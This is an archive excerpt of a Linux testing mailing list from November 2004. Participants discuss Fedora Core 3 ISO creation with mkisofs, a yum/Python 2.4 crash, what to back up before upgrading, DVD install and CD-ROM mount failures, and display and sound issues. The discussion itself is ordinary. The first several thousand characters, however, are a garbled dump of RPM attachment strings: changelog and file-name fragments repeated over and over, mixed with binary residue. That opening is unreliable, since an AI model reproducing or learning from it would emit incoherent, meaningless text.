have mkisofs provided by - moved former mkisofs diagnostic binaries to the main package using burnproof if the system is too slow. A bug in mkisofs summary of defective sector numbers at the end. The mkisofs -H/-L/-P options were marked as reserved by POSIX, and mkisofs - added utf-8 support to mkisofs (106479) - mv iso* tools to mkisofs cdda2wav subpackage and Provides: mkisofs to mkisofs subpackage - Added cdrtools-1.10-mkisofs-sharing.patch to fix bug (#56304) - oops, rebuilt to fix the mkisofs mess I made - according to the author, cdda2wav and mkisofs are more recent in this - removed the mkisofs subpackage - we have mkisofs provided by - moved former mkisofs diagnostic binaries to the main package README.mkisofs mkisofs - Requires mkisofs 2.0 mkisofs - Add cdrecord/mkisofs requirements for KOnCD (#63606) - Tell koncd where to find cdrecord and mkisofs (#63604) - Add cdrecord/mkisofs requirements for KOnCD (#63606) - Tell koncd where to find cdrecord and mkisofs (#63604) - Add cdrecord/mkisofs requirements for KOnCD (#63606) - Tell koncd where to find cdrecord and mkisofs (#63604) mkisofs.8.gz mkisofs-2.01.1-5 mkisofs The mkisofs program is used as a pre-mastering program; i.e., it Install the mkisofs package if you need a program for writing mkisofs cdrecord-mkisofs mkisofs using burnproof if the system is too slow. A bug in mkisofs summary of defective sector numbers at the end. The mkisofs -H/-L/-P options were marked as reserved by POSIX, and mkisofs - added utf-8 support to mkisofs (106479) - mv iso* tools to mkisofs cdda2wav subpackage and Provides: mkisofs to mkisofs subpackage - Added cdrtools-1.10-mkisofs-sharing.patch to fix bug (#56304) - oops, rebuilt to fix the mkisofs mess I made - according to the author, cdda2wav and mkisofs are more recent in this - removed the mkisofs subpackage - we have mkisofs provided by - moved former mkisofs diagnostic binaries to the main package cdrecord-mkisofs mkisofs mkisofs-2.01.1 mkisofs.8.gz /usr/share/doc/mkisofs-2.01.1/ - Added mkisofs and cdrecord dependencies mkisofs - Added mkisofs and cdrecord dependencies F MKISOFS_.RPM;1 mkisofs-2.01.1-5.x86_64.rpm mkisofs. X-CD-Roast includes a self-explanatory X11 user interface, mkisofs - Fix interoperability with mkisofs 1.13 - remove cdrecord and mkisofs from the package, add dependencies on the cdrecord and mkisofs packages instead version of mkisofs to allow the creation of compressed CD-ROM mkisofs mkisofs The mkisofs program is used as a pre-mastering program; i.e., it Install the mkisofs package if you need a program for writing cdrecord-mkisofs mkisofs cdrecord-mkisofs mkisofs-2.01.1-5.x86_64.rpm mkisofs version of mkisofs to allow the creation of compressed CD-ROM mkisofs mkisofs. X-CD-Roast includes a self-explanatory X11 user interface, mkisofs mkisofs mkisofs mkisofs mkisofs-2.01.1 mkisofs.8.gz /usr/share/doc/mkisofs-2.01.1/ README.mkisofs mkisofs.8.gz -------------- next part -------------- mkisofs-2.01.1-5.i386.rpmPX$ using burnproof if the system is too slow. A bug in mkisofs summary of defective sector numbers at the end. The mkisofs -H/-L/-P options were marked as reserved by POSIX, and mkisofs - added utf-8 support to mkisofs (106479) - mv iso* tools to mkisofs cdda2wav subpackage and Provides: mkisofs to mkisofs subpackage - Added cdrtools-1.10-mkisofs-sharing.patch to fix bug (#56304) - oops, rebuilt to fix the mkisofs mess I made - according to the author, cdda2wav and mkisofs are more recent in this - removed the mkisofs subpackage - we have mkisofs provided by - moved former mkisofs diagnostic binaries to the main package using burnproof if the system is too slow. A bug in mkisofs summary of defective sector numbers at the end. The mkisofs -H/-L/-P options were marked as reserved by POSIX, and mkisofs - added utf-8 support to mkisofs (106479) - mv iso* tools to mkisofs cdda2wav subpackage and Provides: mkisofs to mkisofs subpackage - Added cdrtools-1.10-mkisofs-sharing.patch to fix bug (#56304) - oops, rebuilt to fix the mkisofs mess I made - according to the author, cdda2wav and mkisofs are more recent in this - removed the mkisofs subpackage - we have mkisofs provided by - moved former mkisofs diagnostic binaries to the main package using burnproof if the system is too slow. A bug in mkisofs summary of defective sector numbers at the end. The mkisofs -H/-L/-P options were marked as reserved by POSIX, and mkisofs - added utf-8 support to mkisofs (106479) - mv iso* tools to mkisofs cdda2wav subpackage and Provides: mkisofs to mkisofs subpackage - Added cdrtools-1.10-mkisofs-sharing.patch to fix bug (#56304) - oops, rebuilt to fix the mkisofs mess I made - according to the author, cdda2wav and mkisofs are more recent in this - removed the mkisofs subpackage - we have mkisofs provided by - moved former mkisofs diagnostic binaries to the main package README.mkisofs mkisofs - Requires mkisofs 2.0 mkisofs - Add cdrecord/mkisofs requirements for KOnCD (#63606) - Tell koncd where to find cdrecord and mkisofs (#63604) - Add cdrecord/mkisofs requirements for KOnCD (#63606) - Tell koncd where to find cdrecord and mkisofs (#63604) mkisofs.8.gz mkisofs-2.01.1-5 mkisofs The mkisofs program is used as a pre-mastering program; i.e., it Install the mkisofs package if you need a program for writing mkisofs cdrecord-mkisofs mkisofs using burnproof if the system is too slow. A bug in mkisofs summary of defective sector numbers at the end. The mkisofs -H/-L/-P options were marked as reserved by POSIX, and mkisofs - added utf-8 support to mkisofs (106479) - mv iso* tools to mkisofs cdda2wav subpackage and Provides: mkisofs to mkisofs subpackage - Added cdrtools-1.10-mkisofs-sharing.patch to fix bug (#56304) - oops, rebuilt to fix the mkisofs mess I made - according to the author, cdda2wav and mkisofs are more recent in this - removed the mkisofs subpackage - we have mkisofs provided by - moved former mkisofs diagnostic binaries to the main package cdrecord-mkisofs mkisofs mkisofs-2.01.1 mkisofs.8.gz /usr/share/doc/mkisofs-2.01.1/ - Added mkisofs and cdrecord dependencies mkisofs - Added mkisofs and cdrecord dependencies F MKISOFS_.RPM;1 mkisofs-2.01.1-5.i386.rpm mkisofs. X-CD-Roast includes a self-explanatory X11 user interface, mkisofs - Fix interoperability with mkisofs 1.13 - remove cdrecord and mkisofs from the package, add dependencies on the cdrecord and mkisofs packages instead version of mkisofs to allow the creation of compressed CD-ROM mkisofs mkisofs The mkisofs program is used as a pre-mastering program; i.e., it Install the mkisofs package if you need a program for writing /tcdrecord-mkisofs mkisofs cdrecord-mkisofs mkisofs-2.01.1-5.i386.rpm mkisofs version of mkisofs to allow the creation of compressed CD-ROM mkisofs mkisofs mkisofs. X-CD-Roast includes a self-explanatory X11 user interface, mkisofs mkisofs mkisofs mkisofs-2.01.1 mkisofs.8.gz /usr/share/doc/mkisofs-2.01.1/ README.mkisofs mkisofs.8.gz From alan at redhat.com Tue Nov 9 16:21:40 2004 From: alan at redhat.com (Alan Cox) Date: Tue, 9 Nov 2004 11:21:40 -0500 Subject: mkisofs command for FC3 In-Reply-To: References: <1100013646.7490.3.camel@laptop.fenrus.org> Message-ID: <20041109162140.GC7602@devserv.devel.redhat.com> On Tue, Nov 09, 2004 at 04:37:24PM +0100, Maciej ?enczykowski wrote: > strings: Warning: could not locate 'FC3-i386-DVD.iso'. reason: Value too > large for defined data type > > seems it doesn't like this >2GB file. Interesting - please bugzilla. We are going to see >2Gb binaries in time so this ought to get fixed From jakub at redhat.com Tue Nov 9 16:27:15 2004 From: jakub at redhat.com (Jakub Jelinek) Date: Tue, 9 Nov 2004 11:27:15 -0500 Subject: mkisofs command for FC3 In-Reply-To: <20041109162140.GC7602@devserv.devel.redhat.com> References: <1100013646.7490.3.camel@laptop.fenrus.org> <20041109162140.GC7602@devserv.devel.redhat.com> Message-ID: <20041109162715.GT10340@devserv.devel.redhat.com> On Tue, Nov 09, 2004 at 11:21:40AM -0500, Alan Cox wrote: > On Tue, Nov 09, 2004 at 04:37:24PM +0100, Maciej ?enczykowski wrote: > > strings: Warning: could not locate 'FC3-i386-DVD.iso'. reason: Value too > > large for defined data type > > > > seems it doesn't like this >2GB file. > > Interesting - please bugzilla. We are going to see >2Gb binaries in time so > this ought to get fixed This is fixed in FC3. #133555 Jakub From maze at cela.pl Tue Nov 9 16:38:00 2004 From: maze at cela.pl (=?ISO-8859-2?Q?Maciej_=AFenczykowski?=) Date: Tue, 9 Nov 2004 17:38:00 +0100 (CET) Subject: mkisofs command for FC3 In-Reply-To: <20041109162140.GC7602@devserv.devel.redhat.com> References: <1100013646.7490.3.camel@laptop.fenrus.org> <20041109162140.GC7602@devserv.devel.redhat.com> Message-ID: > Interesting - please bugzilla. We are going to see >2Gb binaries in time so > this ought to get fixed Done. https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=138494 From seandarcy at hotmail.com Tue Nov 9 17:13:11 2004 From: seandarcy at hotmail.com (sean darcy) Date: Tue, 09 Nov 2004 12:13:11 -0500 Subject: yum-2.1.11-4 not playing well with python-2.4-0.b2.1 Message-ID: See: yum upgrade Setting up Upgrade Process Setting up Repo: development Traceback (most recent call last): File "/usr/bin/yum", line 8, in ? yummain.main(sys.argv[1:]) File "/usr/share/yum-cli/yummain.py", line 68, in main result, resultmsgs = base.doCommands() File "/usr/share/yum-cli/cli.py", line 390, in doCommands return self.updatePkgs() File "/usr/share/yum-cli/cli.py", line 766, in updatePkgs self.doRepoSetup() File "/usr/share/yum-cli/cli.py", line 70, in doRepoSetup repo.getRepoXML() File "/usr/lib/python2.4/site-packages/yum/repos.py", line 465, in getRepoXML result = self.get(relative=remote, local=local, copy_local=1) File "/usr/lib/python2.4/site-packages/yum/repos.py", line 443, in get checkfunc=checkfunc) File "/usr/lib/python2.4/site-packages/urlgrabber/mirror.py", line 414, in urlgrab return self._mirror_try(func, url, kw) File "/usr/lib/python2.4/site-packages/urlgrabber/mirror.py", line 400, in _mirror_try return func_ref( *(fullurl,), **kwargs ) File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 595, in urlgrab return self._retry(opts, retryfunc, url, filename) File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 527, in _retry return apply(func, (opts,) + args, {}) File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 581, in retryfunc fo = URLGrabberFileObject(url, filename, opts) File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 703, in __init__ self._do_open() File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 747, in _do_open fo, hdr = self._make_request(req, opener) File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 823, in _make_request fo = opener.open(req) File "/usr/lib/python2.4/urllib2.py", line 364, in open response = meth(req, response) File "/usr/lib/python2.4/urllib2.py", line 468, in http_response code, msg, hdrs = response.code, response.msg, response.info() AttributeError: HTTPResponse instance has no attribute 'code' sean From alexl at stofanet.dk Tue Nov 9 17:41:10 2004 From: alexl at stofanet.dk (alexl) Date: Tue, 9 Nov 2004 18:41:10 +0100 Subject: computer menu(with system preferences etc..) Message-ID: hey take a look on this ubuntu screenshot http://osdir.com/screenshots/index.php?directory=gnome2.8¤tPic=8. could this feature be implemented into fedora. it could be nice to get rid of all system specific tools.(great job ubuntu) Alex Thomsen Leth -------------- next part -------------- An HTML attachment was scrubbed... URL: From ndbecker2 at verizon.net Tue Nov 9 17:44:48 2004 From: ndbecker2 at verizon.net (Neal D. Becker) Date: Tue, 09 Nov 2004 12:44:48 -0500 Subject: can yum handle source rpms? Message-ID: Is yum now able to handle source rpms? From trulsg at broadpark.no Tue Nov 9 18:07:21 2004 From: trulsg at broadpark.no (Truls Gulbrandsen) Date: Tue, 09 Nov 2004 19:07:21 +0100 Subject: Preparing to upgrade - some questions Message-ID: <41910759.3060506@broadpark.no> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi, I am preparing to upgrade from fc2 to fc3 and have made a backup of my /home directory. Are there other directories or files that should be copied before I upgrade? Will the upgrade option give me a complete installation or will it only upgrade files and modules already installed? If I do a complete new installation will it be sufficient to install additional programs such as gramps, thunderbird and firefox and then copy the content of /home back to the hd to make it all work with data, bookmarks and stored mail? Any thing else I should be aware of in order to restore my pc with fc3 without too much trouble? Thanks, Truls Gulbrandsen -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFBkQdZickK29LSyG8RAiWqAKCFPVgegnMa5FQSnpbmGInUEB5pMgCglCnK WvIuQ/fW8Y4RKJh+roeNtmY= =30pZ -----END PGP SIGNATURE----- -------------- next part -------------- A non-text attachment was scrubbed... Name: trulsg.vcf Type: text/x-vcard Size: 237 bytes Desc: not available URL: From terraformers at gmx.net Tue Nov 9 18:17:13 2004 From: terraformers at gmx.net (Lars) Date: Tue, 09 Nov 2004 19:17:13 +0100 Subject: yum-2.1.11-4 not playing well with python-2.4-0.b2.1 References: Message-ID: sean darcy wrote: > See: > > yum upgrade > Setting up Upgrade Process > Setting up Repo: development > Traceback (most recent call last): > File "/usr/bin/yum", line 8, in ? > yummain.main(sys.argv[1:]) > File "/usr/share/yum-cli/yummain.py", line 68, in main > result, resultmsgs = base.doCommands() > File "/usr/share/yum-cli/cli.py", line 390, in doCommands > return self.updatePkgs() > File "/usr/share/yum-cli/cli.py", line 766, in updatePkgs > self.doRepoSetup() > File "/usr/share/yum-cli/cli.py", line 70, in doRepoSetup > repo.getRepoXML() > File "/usr/lib/python2.4/site-packages/yum/repos.py", line 465, in > getRepoXML > result = self.get(relative=remote, local=local, copy_local=1) > File "/usr/lib/python2.4/site-packages/yum/repos.py", line 443, in get > checkfunc=checkfunc) > File "/usr/lib/python2.4/site-packages/urlgrabber/mirror.py", line 414, > in > urlgrab > return self._mirror_try(func, url, kw) > File "/usr/lib/python2.4/site-packages/urlgrabber/mirror.py", line 400, > in > _mirror_try > return func_ref( *(fullurl,), **kwargs ) > File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 595, > in urlgrab > return self._retry(opts, retryfunc, url, filename) > File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 527, > in _retry > return apply(func, (opts,) + args, {}) > File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 581, > in retryfunc > fo = URLGrabberFileObject(url, filename, opts) > File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 703, > in __init__ > self._do_open() > File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 747, > in _do_open > fo, hdr = self._make_request(req, opener) > File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 823, > in _make_request > fo = opener.open(req) > File "/usr/lib/python2.4/urllib2.py", line 364, in open > response = meth(req, response) > File "/usr/lib/python2.4/urllib2.py", line 468, in http_response > code, msg, hdrs = response.code, response.msg, response.info() > AttributeError: HTTPResponse instance has no attribute 'code' > > sean > > guess its a mixup of rawhide python 2.4 and yum still using python 2.3. todays rawhide yum should fix that. -- No Software Patents! http://nosoftwarepatents.com Get Firefox! http://spreadfirefox.com From kourounis at hotmail.com Tue Nov 9 18:46:52 2004 From: kourounis at hotmail.com (Drosos Kourounis) Date: Tue, 09 Nov 2004 20:46:52 +0200 Subject: Problem with DVD iso for Core 3 Message-ID: Hi all! I just downloaded twice from different mirrors the FEDORA Core 3 DVD iso image and I noticed that there is a problem with that thing! I begin installation I press Ok to the questions about "us" and the other one, but when I am asked which type of installation do I prefer CDROM, FTP, HTTP, NFS ... I choose of course CDROM. Then it says that the FEDORA software CDROM is not inserted in the CDROM drive! I tried that in many different PCs and I get the same problem so it is not a problem with my PC. Did any one of you have the same problem! please let the people who are responsible for the distribution to fix that! Regards! Drosos. _________________________________________________________________ FREE pop-up blocking with the new MSN Toolbar - get it now! http://toolbar.msn.com/ From kourounis at hotmail.com Tue Nov 9 18:46:53 2004 From: kourounis at hotmail.com (Drosos Kourounis) Date: Tue, 09 Nov 2004 20:46:53 +0200 Subject: Problem with DVD iso for Core 3 Message-ID: Hi all! I just downloaded twice from different mirrors the FEDORA Core 3 DVD iso image and I noticed that there is a problem with that thing! I begin installation I press Ok to the questions about "us" and the other one, but when I am asked which type of installation do I prefer CDROM, FTP, HTTP, NFS ... I choose of course CDROM. Then it says that the FEDORA software CDROM is not inserted in the CDROM drive! I tried that in many different PCs and I get the same problem so it is not a problem with my PC. Did any one of you have the same problem! please let the people who are responsible for the distribution to fix that! Regards! Drosos. _________________________________________________________________ Express yourself instantly with MSN Messenger! Download today it's FREE! http://messenger.msn.com/ From lux at diesel-research.com Tue Nov 9 19:08:09 2004 From: lux at diesel-research.com (Kim Lux) Date: Tue, 09 Nov 2004 12:08:09 -0700 Subject: Preparing to upgrade - some questions In-Reply-To: <41910759.3060506@broadpark.no> References: <41910759.3060506@broadpark.no> Message-ID: <1100027289.3986.0.camel@localhost.localdomain> I also back up /etc. You can't just plop a FC2 /etc onto an fc3 upgrade, but it is handy to have your old /etc settings just in case they go missing during the upgrade. On Tue, 2004-11-09 at 19:07 +0100, Truls Gulbrandsen wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Hi, > I am preparing to upgrade from fc2 to fc3 and have made a backup of my > /home directory. > > Are there other directories or files that should be copied before I upgrade? > > Will the upgrade option give me a complete installation or will it only > upgrade files and modules already installed? > > If I do a complete new installation will it be sufficient to install > additional programs such as gramps, thunderbird and firefox and then > copy the content of /home back to the hd to make it all work with data, > bookmarks and stored mail? > > Any thing else I should be aware of in order to restore my pc with fc3 > without too much trouble? > > > Thanks, > Truls Gulbrandsen > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.2.4 (GNU/Linux) > Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org > > iD8DBQFBkQdZickK29LSyG8RAiWqAKCFPVgegnMa5FQSnpbmGInUEB5pMgCglCnK > WvIuQ/fW8Y4RKJh+roeNtmY= > =30pZ > -----END PGP SIGNATURE----- > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list -- Kim Lux (Mr.) Diesel Research Inc From surak at casa.surak.eti.br Tue Nov 9 17:16:56 2004 From: surak at casa.surak.eti.br (Alexandre Strube) Date: Tue, 09 Nov 2004 15:16:56 -0200 Subject: Preparing to upgrade - some questions In-Reply-To: <41910759.3060506@broadpark.no> References: <41910759.3060506@broadpark.no> Message-ID: <1100020616.732.0.camel@preview> Em Ter, 2004-11-09 ?s 16:07, Truls Gulbrandsen escreveu: > Are there other directories or files that should be copied before I upgrade? Never forget the /etc and /var :-) From gstool at earthlink.net Tue Nov 9 19:24:21 2004 From: gstool at earthlink.net (Gerry Tool) Date: Tue, 09 Nov 2004 13:24:21 -0600 Subject: Problem with DVD iso for Core 3 In-Reply-To: References: Message-ID: <41911965.2050802@earthlink.net> Drosos Kourounis wrote: > Hi all! > I just downloaded twice from different mirrors the FEDORA Core 3 > DVD iso image and I noticed that there is a problem with that thing! > > I begin installation I press Ok to the questions about "us" and the > other one, but when I am asked which type of installation do I prefer > CDROM, FTP, HTTP, NFS ... I choose of course CDROM. > > Then it says that the FEDORA software CDROM is not inserted in the > CDROM drive! I tried that in many different PCs and I get the same > problem so it is not a problem with my PC. > > Did any one of you have the same problem! > > please let the people who are responsible for the distribution > to fix that! > > Regards! > Drosos. > > _________________________________________________________________ > Express yourself instantly with MSN Messenger! Download today it's > FREE! http://messenger.msn.com/ > You didn't mention whether you burned the dvd before starting. Knowing your drive make/model might cause someone to recognize a problem. Did you check the md5sum of the file? I downloaded the DVD .iso file, burned it in K3b and installed a fresh install and an update with no problems. The md5sum of the .iso file was correct, and the DVD passed the media check. Gerry From cparrish at carlparrish.com Tue Nov 9 19:26:03 2004 From: cparrish at carlparrish.com (Carl Parrish) Date: Tue, 09 Nov 2004 12:26:03 -0700 Subject: Preparing to upgrade - some questions In-Reply-To: <41910759.3060506@broadpark.no> References: <41910759.3060506@broadpark.no> Message-ID: <419119CB.6060809@carlparrish.com> Truls Gulbrandsen wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Hi, > I am preparing to upgrade from fc2 to fc3 and have made a backup of my > /home directory. > > Are there other directories or files that should be copied before I > upgrade? > > Will the upgrade option give me a complete installation or will it only > upgrade files and modules already installed? > > If I do a complete new installation will it be sufficient to install > additional programs such as gramps, thunderbird and firefox and then > copy the content of /home back to the hd to make it all work with data, > bookmarks and stored mail? > > Any thing else I should be aware of in order to restore my pc with fc3 > without too much trouble? > > > Thanks, > Truls Gulbrandsen > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.2.4 (GNU/Linux) > Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org > > iD8DBQFBkQdZickK29LSyG8RAiWqAKCFPVgegnMa5FQSnpbmGInUEB5pMgCglCnK > WvIuQ/fW8Y4RKJh+roeNtmY= > =30pZ > -----END PGP SIGNATURE----- I generally backup /home/, /etc/, /var/, /usr/local/, and /boot/ that way worst case I can always get right back to what I had. Of course if the new install works I don't recovers every partition. -- Carl Parrish(cparrish at carlparrish.com) http://www.carlparrish.com -- Registered Linux User #295761 http://counter.li.org From atie8591 at yahoo.com Tue Nov 9 19:30:20 2004 From: atie8591 at yahoo.com (Chris Ha) Date: Tue, 9 Nov 2004 11:30:20 -0800 (PST) Subject: qtjava Message-ID: <20041109193020.57553.qmail@web53907.mail.yahoo.com> How to get qtjava or enable for FC3, kdebindings-3.3.1-1? atie __________________________________ Do you Yahoo!? Check out the new Yahoo! Front Page. www.yahoo.com From maze at cela.pl Tue Nov 9 19:32:08 2004 From: maze at cela.pl (=?ISO-8859-2?Q?Maciej_=AFenczykowski?=) Date: Tue, 9 Nov 2004 20:32:08 +0100 (CET) Subject: mkisofs command for FC3 In-Reply-To: References: Message-ID: So can anyone answer this? > Could someone post the command used to generate the FC3 i386 isos - > especially the DVD? Thanks, MaZe. From pauljohn at ku.edu Tue Nov 9 19:39:11 2004 From: pauljohn at ku.edu (Paul Johnson) Date: Tue, 09 Nov 2004 13:39:11 -0600 Subject: CDROM problems in fc3 (was Re: What I hope is not in FC3 In-Reply-To: <20041109102622.GH11935@devserv.devel.redhat.com> References: <418D9766.1030204@insight.rr.com> <20041107023938.GB12856@devserv.devel.redhat.com> <1099988634l.3536l.2l@devel.mpeters.us> <20041109102622.GH11935@devserv.devel.redhat.com> Message-ID: <41911CDF.2060907@ku.edu> I have been asking around about my laptop, which can write cdroms but can't mount them unless I boot with the (deprecated) kernel option: hdc=ide-scsi I'm trying to connect the dots between my trouble and the one that Mr Cox mentions below. Are they the same? My problem is described here: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=137831 The short and sweet is that CDs fail to mount and the message (over and over again) is: kernel: hdc: irq timeout: status=0xd0 { Busy } kernel: hdc: irq timeout: error=0xd0LastFailedSense 0x0d kernel: hdc: DMA disabled kernel: hdc: ATAPI reset complete cdroms will not mount at all. If I do use the ide-scsi option, they will mount, but the message log has a deprecation warning in it and I'm advised to use ide-cd instead. But that doesn't work. And I've read people saying that cd writing is bad with ide-scsi. What is a person supposed to do? Replace hardware? My CD-DVD+RW device is found at startup as hdc: _NEC DVD+RW ND-5100A, ATAPI CD/DVD-ROM drive pj Alan Cox wrote: > On Tue, Nov 09, 2004 at 08:23:54AM +0000, Michael A. Peters wrote: > >>>yet fixed and its not trivial to fix or it would have been fixed by >>>now >> >>Say - is this why md5sum /dev/cdrom doesn't work anymore? > > > Correct. > > >>I use to be able to verify that a CD burned correctly by running md5sum >>on the cdrom device and comparing that with the md5sum of the iso image >>- but that hasn't worked for me for awhile (I/O error I believe) > > > 2.4.x works 2.6.x doesnt. Upgrade to the ide-scsi driver and it will work > as will eject. > -- Paul E. Johnson email: pauljohn at ku.edu Dept. of Political Science http://lark.cc.ku.edu/~pauljohn 1541 Lilac Lane, Rm 504 University of Kansas Office: (785) 864-9086 Lawrence, Kansas 66044-3177 FAX: (785) 864-5700 From whb at ceimaine.org Tue Nov 9 19:40:40 2004 From: whb at ceimaine.org (Will Backman) Date: Tue, 09 Nov 2004 14:40:40 -0500 Subject: FC3 Final - Success Optiplex GX280 Message-ID: <1100029240.3780.3.camel@cei3772.empower.ceimaine.org> Just wanted to let people know that FC3 Final installed fine on a Dell Optiplex GX280 with Serial ATA, Intel 915 Video. Thanks folks. Now that FC3 is final, I guess it is time to stop talking about it on this list. From cra at WPI.EDU Tue Nov 9 19:52:22 2004 From: cra at WPI.EDU (Charles R. Anderson) Date: Tue, 9 Nov 2004 14:52:22 -0500 Subject: computer menu(with system preferences etc..) In-Reply-To: References: Message-ID: <20041109195222.GM2173@angus.ind.WPI.EDU> On Tue, Nov 09, 2004 at 06:41:10PM +0100, alexl wrote: > hey take a look on this ubuntu screenshot http://osdir.com/screenshots/index.php?directory=gnome2.8¤tPic=8. > could this feature be implemented into fedora. > it could be nice to get rid of all system specific tools.(great job ubuntu) How is this different than the Applications->System Settings menu we have in FC3 now? From michal at harddata.com Tue Nov 9 20:06:22 2004 From: michal at harddata.com (Michal Jaegermann) Date: Tue, 9 Nov 2004 13:06:22 -0700 Subject: Preparing to upgrade - some questions In-Reply-To: <1100020616.732.0.camel@preview>; from surak@casa.surak.eti.br on Tue, Nov 09, 2004 at 03:16:56PM -0200 References: <41910759.3060506@broadpark.no> <1100020616.732.0.camel@preview> Message-ID: <20041109130622.D24209@mail.harddata.com> On Tue, Nov 09, 2004 at 03:16:56PM -0200, Alexandre Strube wrote: > Em Ter, 2004-11-09 ?s 16:07, Truls Gulbrandsen escreveu: > > > Are there other directories or files that should be copied before I upgrade? > > Never forget the /etc and /var :-) Here is few more (depending on how this system was used): /usr/local /opt /usr/share/emacs/site-lisp/ /usr/share/texmf/web2c/ (configuration) This list is not likely to be complete. If you are doing installation upgrades instead then 'rpm -qa --last' will give you after that a pretty good idea what are possible "leftovers". Michal From gene.heskett at verizon.net Tue Nov 9 20:33:06 2004 From: gene.heskett at verizon.net (Gene Heskett) Date: Tue, 9 Nov 2004 15:33:06 -0500 Subject: FC3RC5 is doing something on partition mount Message-ID: <200411091533.06702.gene.heskett@verizon.net> Greetings; I have a dual boot system, one side is FC3RC5, and the other side is a mixed debian/morphix/rtai install. The only shared piece of any disk in the system is /boot, with grub installed in the MBR. I do have entries in the FC3RC5 /etc/fstab file that does a cross mount so that I can move stuff back and forth between its normal; boot, and booting up the Brain Dead Install (BDI) to run the emc (electronic machine control, or CNC) program. The mount operation when FC3RC5 is booted is doing something to the BDI installs partition that renders it incapable of being checked with exactly the same version of e2fsck, each one calling itself 1.35 TBE. It reports that this filesystem contains options that are not supported by this version of e2fsck, and that I should get a newer one and try again. The only thing that I have been able to do to get BDI to reboot, is to put in the cd and reinstall it, meaning it will mke3fs on /dev/hda5 as it does so. This takes about 2 hours as the machine and the cd are both getting old and slow like me. Then it will reboot, and its /etc/fstab then mounts the FC3RC5 partition just fine. Which of the mount options in the FC3RC5 bootup's fstab do I remove to prevent this screwing with the other boots data? Or do I have to remove the FC3's /etc/fstab mount of it entirely, which will be a pita as the other sides networking isn't just yet. The /etc/modules.conf link is on the missing list when booted to BDI. -- Cheers, Gene "There are four boxes to be used in defense of liberty: soap, ballot, jury, and ammo. Please use in that order." -Ed Howdershelt (Author) 99.28% setiathome rank, not too shabby for a WV hillbilly Yahoo.com attorneys please note, additions to this message by Gene Heskett are: Copyright 2004 by Maurice Eugene Heskett, all rights reserved. From gstool at earthlink.net Tue Nov 9 20:34:33 2004 From: gstool at earthlink.net (Gerry Tool) Date: Tue, 09 Nov 2004 14:34:33 -0600 Subject: computer menu(with system preferences etc..) In-Reply-To: <20041109195222.GM2173@angus.ind.WPI.EDU> References: <20041109195222.GM2173@angus.ind.WPI.EDU> Message-ID: <419129D9.3020903@earthlink.net> Charles R. Anderson wrote: >On Tue, Nov 09, 2004 at 06:41:10PM +0100, alexl wrote: > > >>hey take a look on this ubuntu screenshot http://osdir.com/screenshots/index.php?directory=gnome2.8¤tPic=8. >>could this feature be implemented into fedora. >>it could be nice to get rid of all system specific tools.(great job ubuntu) >> >> > >How is this different than the Applications->System Settings menu we >have in FC3 now? > > > Notice they have replaced the Gnome Actions Menu with a "Computer" menu, removing a lot of setup-related stuff from the Applications oriented menu. I have been playing with ubuntu also and viewed this as a nice feature. Ubuntu has done a good job of segregating things on these two menus. Gerry From trulsg at broadpark.no Tue Nov 9 20:50:33 2004 From: trulsg at broadpark.no (Truls Gulbrandsen) Date: Tue, 09 Nov 2004 21:50:33 +0100 Subject: FC3 - wrong screen resolution Message-ID: <41912D99.7040809@broadpark.no> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi, I have now installed fc3 to my desktop an IBM PC300PL with an IBM912 T521 LCD screen the video card is VESA I have the same problem as when installing fc2, however I have not kept the description on how this was fixed as I didn't believe the problem would return. I am able to configure display settings correct, both screen and video card. The problem is that the computer does not recognize this, though it looks like the background has the correct resolution. However, all applications comes up with 640x480 resolution. When I go to preferences ==> screen resolution the only option is 640x480. Any suggestions? Regards, Truls -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFBkS2YickK29LSyG8RAvWIAJ4hzgg17K5bHEAmopctq7Q8H/NzNACgi9aW LRoRagP1XlWQzVw7jbbOzrQ= =PJba -----END PGP SIGNATURE----- -------------- next part -------------- A non-text attachment was scrubbed... Name: trulsg.vcf Type: text/x-vcard Size: 237 bytes Desc: not available URL: From bednar007 at gmail.com Tue Nov 9 21:01:05 2004 From: bednar007 at gmail.com (Darek Borkowski) Date: Tue, 9 Nov 2004 22:01:05 +0100 Subject: Still no sound from intel 852 Message-ID: <38f00b2a041109130111c3adc9@mail.gmail.com> Hi, I did a fresh/clean install form oficial FC3 isos but htere is no soun on my laptop (as before). [root at localhost ~]# lsmod Module Size Used by i915 76869 3 parport_pc 24705 1 lp 11565 0 parport 41737 2 parport_pc,lp autofs4 24005 0 i2c_dev 10433 0 i2c_core 22081 1 i2c_dev sunrpc 160421 1 ext3 116809 1 jbd 74969 1 ext3 dm_mod 54741 0 button 6481 0 battery 8517 0 ac 4805 0 md5 4033 1 ipv6 232577 8 yenta_socket 18753 1 uhci_hcd 31449 0 ehci_hcd 31557 0 snd_intel8x0m 18185 0 snd_intel8x0 34829 3 snd_ac97_codec 64401 2 